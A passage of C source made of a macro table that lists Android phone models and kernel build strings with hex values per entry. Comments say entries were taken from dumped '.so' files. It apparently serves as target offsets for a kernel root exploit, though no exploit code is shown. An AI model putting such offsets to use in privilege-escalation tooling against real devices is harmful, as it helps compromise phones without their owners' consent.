	{"Coolpad", "Coolpad 5891Q", "3.4.0-perf", "#1 SMP PREEMPT Thu May 15 15:21:30 CST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Coolpad", "Coolpad 5891Q", "3.4.0-perf", "#1 SMP PREEMPT Wed Jul 9 00:02:24 CST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	
	// 1414580413623.so added 1 item
	{"OPPO", "X9007", "3.4.0-svn5918", "#1 SMP PREEMPT Thu Apr 17 18:48:44 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \

	// 1415782368100_unpack_dump.so added 2 items
	{"Lenovo", "Lenovo A808t", "3.4.67", "#1 SMP PREEMPT Thu Jul 24 13:47:07 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x1}, \
	{"Lenovo", "Lenovo A808t", "3.4.67", "#1 SMP PREEMPT Tue Jun 24 11:54:52 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x1}, \

	// 1411622892291.so_dump_fix_2 232
	{"samsung", "GT-N7100", "3.0.31-2223017", "#1 SMP PREEMPT Mon Feb 17 15:02:31 KST 2014", 0x80, 0xc0, 0x0, 0x88, 0x0, 0x1, 0x5}, \
	{"samsung", "GT-N7102", "3.0.31-2256167", "#1 SMP PREEMPT Mon Feb 17 14:02:29 KST 2014", 0x80, 0xc0, 0x0, 0x88, 0x8, 0x1, 0x5}, \
	{"samsung", "SCH-I679", "3.4.0-2536604", "#1 SMP PREEMPT Fri Feb 28 21:36:22 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1973843", "#1 SMP PREEMPT Sat Feb 8 15:00:33 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x4, 0x1, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1591054", "#1 SMP PREEMPT Thu Sep 12 00:00:18 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1591054", "#1 SMP PREEMPT Sat Oct 12 06:38:06 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1973843", "#1 SMP PREEMPT Thu Oct 24 23:19:26 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1973843", "#1 SMP PREEMPT Mon Nov 4 22:44:02 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1973843", "#1 SMP PREEMPT Fri Mar 21 17:20:35 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1973843", "#1 SMP PREEMPT Tue Apr 22 18:56:00 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"Samsung", "SM-N9006", "3.4.0-1973843", "#1 SMP PREEMPT Fri Dec 6 14:44:55 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x4, 0x1, 0x5}, \
	{"samsung", "SM-N9008", "3.4.0-1973843", "#1 SMP PREEMPT Wed May 7 09:39:02 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x4, 0x1, 0x5}, \
	{"samsung", "SM-N9009", "3.4.0-1973843", "#1 SMP PREEMPT Thu Oct 24 23:10:35 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x4, 0x1, 0x5}, \
	{"samsung", "SM-G7106", "3.4.0-2275398", "#1 SMP PREEMPT Wed May 14 12:56:49 KST 2014", 0x20, 0x0, 0x60, 0x38, 0x4, 0x0, 0x0}, \
	{"samsung", "GT-I9508", "3.4.0-465829", "#1 SMP PREEMPT Tue Jul 2 21:24:14 KST 2013", 0x0, 0x40, 0x60, 0x34, 0x4, 0x0, 0x0}, \
	{"samsung", "GT-I9508", "3.4.0-2106452", "#1 SMP PREEMPT Tue Nov 19 14:36:39 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x4, 0x0, 0x0}, \
	{"samsung", "GT-I9508", "3.4.0-2533431", "#1 SMP PREEMPT Fri May 23 14:45:00 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x4, 0x0, 0x0}, \
	{"samsung", "SM-N9008V", "3.4.0-2364914", "#1 SMP PREEMPT Mon Jun 9 10:28:30 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x4, 0x0, 0x0}, \
	{"samsung", "SM-N9008V", "3.4.0-2286610", "#1 SMP PREEMPT Wed Dec 11 18:38:36 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x4, 0x0, 0x0}, \
	{"samsung", "SM-G3502", "3.4.5-1682724", "#2 SMP PREEMPT Wed Sep 18 01:03:08 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3502", "3.4.5-1682724", "#2 SMP PREEMPT Tue Sep 24 19:23:39 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3502", "3.4.5-2071059", "#2 SMP PREEMPT Wed Nov 6 15:07:34 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3502", "3.4.5-2616470", "#2 SMP PREEMPT Tue Mar 25 18:07:53 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3502", "3.4.5-2616470", "#2 SMP PREEMPT Wed Apr 2 20:15:42 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3502", "3.4.5-2677876", "#2 SMP PREEMPT Mon May 19 19:45:25 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278", "3.0.8-1484839-user", "#1 PREEMPT Sun Dec 15 04:07:29 KST 2013", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278", "3.0.8-1484839-user", "#1 PREEMPT Tue Dec 24 15:31:00 KST 2013", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278", "3.0.8-1484839-user", "#1 PREEMPT Mon Jan 6 16:54:40 KST 2014", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278", "3.0.8-1513107-user", "#1 PREEMPT Mon Jan 27 21:40:29 KST 2014", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278", "3.0.8-1515694-user", "#1 PREEMPT Wed Feb 5 14:35:16 KST 2014", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278", "3.0.8-1521478-user", "#1 PREEMPT Wed Mar 12 15:00:13 KST 2014", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278", "3.0.8-1532668-user", "#1 PREEMPT Mon Mar 31 16:10:42 KST 2014", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I9118", "3.4.5-2599209", "#2 SMP PREEMPT Fri Mar 14 12:09:55 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G7108V", "3.4.0-2543082", "#1 SMP PREEMPT Tue Mar 4 17:50:59 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-G7108V", "3.4.0-2673641", "#1 SMP PREEMPT Fri May 16 11:39:07 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "GT-S6818", "3.0.8-1289440-user", "#1 PREEMPT Sun Jun 30 12:20:50 KST 2013", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S6818", "3.0.8-1541798-user", "#1 PREEMPT Thu May 8 15:19:08 KST 2014", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-N9006", "3.4.0-1590669", "#1 SMP PREEMPT Sat Oct 12 05:11:24 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-N9006", "3.4.0-1973843", "#1 SMP PREEMPT Fri Nov 15 14:22:43 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-N9006", "3.4.0-1973843", "#1 SMP PREEMPT Tue Nov 5 17:52:14 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-N9006", "3.4.0-1973843", "#1 SMP PREEMPT Fri Dec 6 14:44:55 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I9118", "3.4.5-2160627", "#2 SMP PREEMPT Sun Nov 24 00:47:11 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I9118", "3.4.5-2160627", "#2 SMP PREEMPT Wed Dec 4 21:03:52 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3819D", "3.4.0-1485733-user", "#1 SMP PREEMPT Fri Dec 13 17:00:33 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3819D", "3.4.0-1505782-user", "#1 SMP PREEMPT Fri Jan 17 19:10:00 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3819D", "3.4.0-1512851-user", "#1 SMP PREEMPT Fri Jan 24 17:14:07 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S6818", "3.0.8-1289440-user", "#1 PREEMPT Sun Jun 30 12:20:50 KST 2013", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S6818", "3.0.8-1541798-user", "#1 PREEMPT Thu May 8 15:19:08 KST 2014", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278U", "3.0.8-1507487-user", "#1 SMP PREEMPT Thu Jan 16 01:54:35 KST 2014", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278U", "3.0.8-1507487-user", "#1 SMP PREEMPT Tue Mar 4 17:21:37 KST 2014", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7278U", "3.0.8-1507487-user", "#1 SMP PREEMPT Tue Mar 11 16:22:28 KST 2014", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7568I", "3.0.8-1389278-user", "#1 PREEMPT Thu Sep 5 10:58:02 KST 2013", 0x20, 0x0, 0x60, 0x50, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7568I", "3.0.8-1389278-user", "#1 PREEMPT Wed Nov 20 09:52:57 KST 2013", 0x20, 0x0, 0x60, 0x50, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7568I", "3.0.8-1389278-user", "#1 PREEMPT Fri May 2 15:15:25 KST 2014", 0x20, 0x0, 0x60, 0x50, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I9082i", "3.0.31-1503837", "#1 SMP PREEMPT Fri Jan 17 17:14:22 KST 2014", 0x80, 0xc0, 0x0, 0x88, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I9082i", "3.0.31-1528558", "#1 SMP PREEMPT Sat Mar 15 12:44:45 KST 2014", 0x80, 0xc0, 0x0, 0x88, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I9082i", "3.0.31-1535682", "#1 SMP PREEMPT Thu Apr 10 19:44:25 KST 2014", 0x80, 0xc0, 0x0, 0x88, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3818", "3.4.5-2258295", "#1 SMP PREEMPT Thu Dec 26 21:02:56 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3818", "3.4.5-2258295", "#1 SMP PREEMPT Mon Feb 17 16:59:35 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3818", "3.4.5-2258295", "#1 SMP PREEMPT Mon Mar 17 21:52:13 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3812", "3.4.5-2047001", "#1 SMP PREEMPT Wed Nov 6 03:27:12 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3812", "3.4.5-2359578", "#1 SMP PREEMPT Fri Dec 27 17:01:46 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3812", "3.4.5-2474281", "#1 SMP PREEMPT Fri Jan 24 15:17:34 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3812", "3.4.5-2474281", "#1 SMP PREEMPT Wed Feb 19 16:36:49 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3812", "3.4.5-2579689", "#1 SMP PREEMPT Wed Mar 5 16:24:22 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3812", "3.4.5-2623829", "#1 SMP PREEMPT Mon Mar 31 09:41:11 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3812", "3.4.5-2662635", "#1 SMP PREEMPT Fri May 2 09:10:51 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1231485", "#1 SMP PREEMPT Tue Jun 25 20:25:29 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1231485", "#1 SMP PREEMPT Tue Jul 23 23:43:37 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1377830", "#1 SMP PREEMPT Sat Aug 24 19:05:03 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1377830", "#1 SMP PREEMPT Mon Sep 9 20:44:52 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1377830", "#1 SMP PREEMPT Thu Dec 12 21:11:03 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1513733", "#1 SMP PREEMPT Mon Jan 27 21:22:07 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1513783", "#1 SMP PREEMPT Mon Jan 27 22:46:53 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1513733", "#1 SMP PREEMPT Fri Feb 21 20:56:12 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1513783", "#1 SMP PREEMPT Fri Feb 21 23:09:49 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1527940", "#1 SMP PREEMPT Thu Mar 13 16:23:57 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1527941", "#1 SMP PREEMPT Thu Mar 13 16:24:48 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SCH-I869", "3.4.0-1527941", "#1 SMP PREEMPT Mon Apr 14 17:40:35 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8558", "3.4.5-1054187", "#1 SMP PREEMPT Tue Jul 9 11:07:52 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8558", "3.4.5-1141724", "#1 SMP PREEMPT Thu Aug 1 22:46:23 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8558", "3.4.5-1542122", "#1 SMP PREEMPT Fri Aug 30 08:43:03 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8558", "3.4.5-1699723", "#1 SMP PREEMPT Tue Sep 17 10:17:03 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8558", "3.4.5-2048505", "#1 SMP PREEMPT Mon Nov 4 08:17:50 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-N9002", "3.4.0-1591054", "#1 SMP PREEMPT Thu Sep 12 00:00:18 KST 2013", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1973843", "#1 SMP PREEMPT Fri Jan 3 11:45:46 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1973843", "#1 SMP PREEMPT Sat Feb 8 15:00:33 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-N9002", "3.4.0-1973843", "#1 SMP PREEMPT Tue Apr 1 10:41:53 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"samsung", "SM-N9006", "3.4.0-1973843", "#1 SMP PREEMPT Fri Jan 3 11:57:13 KST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I9168I", "3.4.5-2519058", "#1 SMP PREEMPT Wed May 21 17:18:47 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I9168I", "3.4.5-2519058", "#1 SMP PREEMPT Sun Feb 16 20:46:52 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7898I", "3.0.8-1513295-user", "#1 SMP PREEMPT Sun Feb 23 23:32:29 KST 2014", 0x20, 0x0, 0x60, 0x58, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3508I", "3.0.8-1502769-user", "#1 SMP PREEMPT Thu Jan 16 19:43:06 KST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3508I", "3.0.8-1502769-user", "#1 SMP PREEMPT Sat Jan 18 19:52:04 KST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3508I", "3.0.8-1502769-user", "#1 SMP PREEMPT Mon Feb 10 19:28:05 KST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3508I", "3.0.8-1502769-user", "#1 SMP PREEMPT Mon Mar 3 18:32:20 KST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"samsung", "SM-G3508I", "3.0.8-1502769-user", "#1 SMP PREEMPT Wed Mar 12 11:05:26 KST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I9082", "3.0.31-1549526", "#1 SMP PREEMPT Tue Jun 10 20:59:43 KST 2014", 0x80, 0xc0, 0x0, 0x88, 0x0, 0x0, 0x0}, \

	// 1415782945354_unpack_dump.so added 8 items
	{"samsung", "GT-S7898", "3.0.8-1223962-user", "#1 SMP PREEMPT Wed Jun 5 00:26:00 KST 2013", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7898", "3.0.8-1319949-user", "#1 SMP PREEMPT Fri Jul 19 19:20:11 KST 2013", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-S7898", "3.0.8-1223962-user", "#1 SMP PREEMPT Wed May 22 18:57:09 KST 2013", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8268", "3.4.5-1496972", "#1 SMP PREEMPT Fri Dec 20 18:14:02 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8268", "3.4.5-1114026", "#1 SMP PREEMPT Fri Apr 5 02:03:10 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8268", "3.4.5-1040008", "#1 SMP PREEMPT Thu Mar 14 12:01:14 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8268", "3.4.5-1114026", "#1 SMP PREEMPT Wed May 15 23:25:44 KST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"samsung", "GT-I8268", "3.4.5-1526121", "#1 SMP PREEMPT Mon Mar 10 14:01:42 KST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
    
    // 1419306543326_unpack_dump.so added 17 items
    {"OPPO", "X907", "3.0.8-perf-svn5132", "5184 SMP PREEMPT Wed Aug 8 20:47:43 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn3913", "4030 SMP PREEMPT Sat Jun 30 12:04:30 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn6289", "6289 SMP PREEMPT Fri Aug 31 12:15:39 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn7917", "8011 SMP PREEMPT Fri Dec 14 18:47:11 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn4889", "4911 SMP PREEMPT Sun Jul 29 16:51:51 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn7917", "8008 SMP PREEMPT Fri Nov 30 11:56:48 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn5547", "5578 SMP PREEMPT Fri Aug 17 11:08:57 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn7829", "7841 SMP PREEMPT Fri Oct 26 17:30:34 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn4254", "4277 SMP PREEMPT Wed Jul 18 15:21:16 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn8062", "8070 SMP PREEMPT Wed Jan 30 15:41:42 CST 2013", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"OPPO", "X907", "3.0.8-perf-svn8065", "8079 SMP PREEMPT Tue Feb 5 23:20:27 CST 2013", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
    {"ZTE", "N958St", "3.10.28-gc52dac7-00296-g0987f37", "#1 SMP PREEMPT Fri Oct 31 00:10:18 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
    {"Lenovo", "Lenovo A238t", "3.10.17", "#1 SMP PREEMPT Fri Jun 27 18:41:46 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
    {"Lenovo", "Lenovo A238t", "3.10.17", "#1 SMP PREEMPT Thu May 29 20:26:01 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
    {"Lenovo", "Lenovo A238t", "3.10.17", "#1 SMP PREEMPT Tue Sep 9 14:36:04 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
    {"Lenovo", "Lenovo A238t", "3.10.17", "#1 SMP PREEMPT Mon Jul 7 10:46:26 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
    {"Huawei", "HUAWEI G750-T20", "3.4.39", "#1 SMP PREEMPT Thu Jul 31 01:22:55 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
    
    ///1429591958759.so
    {"htc","HTC 802w","3.4.10-xiaoxiang8002-soul2.0","#1 SMP PREEMPT Thu Jul 3 18:58:35 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802w","3.4.10-gde29e3a","#1 SMP PREEMPT Tue Jan 28 15:42:47 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802w","3.4.10-gf22c859","#1 SMP PREEMPT Fri May 9 18:56:40 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802w","3.4.10-g439196c","#1 SMP PREEMPT Wed Mar 5 23:54:54 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802w","3.4.10-g3360856","#1 SMP PREEMPT Fri Dec 13 22:00:29 CST 2013", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802w","3.4.10-g50052c4","#1 SMP PREEMPT Fri Aug 15 23:12:01 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802d","3.4.10-g3ad44af","#1 SMP PREEMPT Wed Mar 5 23:19:02 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x0, 0x0},\
    {"htc","HTC 802d","3.4.10-g50052c4","#1 SMP PREEMPT Fri Aug 15 23:13:06 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x0, 0x0},\
    {"htc","HTC 802d","3.4.10-gf22c859","#1 SMP PREEMPT Fri May 9 18:52:22 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x0, 0x0},\
    {"htc","HTC 802d","3.4.10-g3360856","#1 SMP PREEMPT Fri Dec 13 22:02:30 CST 2013", 0x0, 0x40,0x60, 0x34, 0x0, 0x0, 0x0},\
    {"htc","HTC 802d","3.4.10-g53a0817","#1 SMP PREEMPT Tue Jan 28 19:21:22 CST 2014", 0x0, 0x40,0x60, 0x34, 0x0, 0x0, 0x0},\
    {"htc","HTC 802d","3.4.10-g445d072","#1 SMP PREEMPT Sat Jun 22 00:02:31 CST 2013", 0x0, 0x40,0x60, 0x34, 0x0, 0x0, 0x0},\
    {"htc","HTC 802t","3.4.10-g50052c4","#1 SMP PREEMPT Mon Aug 25 10:49:13 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t","3.4.10-g3360856","#1 SMP PREEMPT Fri Dec 13 21:45:44 CST 2013", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t","3.4.10-gde5213a","#1 SMP PREEMPT Tue Apr 15 23:13:52 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t","3.4.10-gc024f16","#1 SMP PREEMPT Wed Mar 5 23:39:51 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t","3.4.10-gf22c859","#1 SMP PREEMPT Mon May 12 20:04:33 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t","3.4.10-g50052c4","#1 SMP PREEMPT Mon Aug 25 18:03:48 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t 16GB","3.4.10-g3360856","#1 SMP PREEMPT Fri Dec 27 23:27:36 CST 2013", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t 16GB","3.4.10-gf22c859","#1 SMP PREEMPT Mon May 12 19:54:19 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t 16GB","3.4.10-g962f1a4","#1 SMP PREEMPT Tue Oct 8 20:23:44 CST 2013", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t 16GB","3.4.10-g39d1932","#1 SMP PREEMPT Tue Apr 15 22:58:23 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
    {"htc","HTC 802t 16GB","3.4.10-g7408a0c","#1 SMP PREEMPT Fri Mar 7 01:17:52 CST 2014", 0x0, 0x40,0x60, 0x3c, 0x0, 0x1, 0x5},\
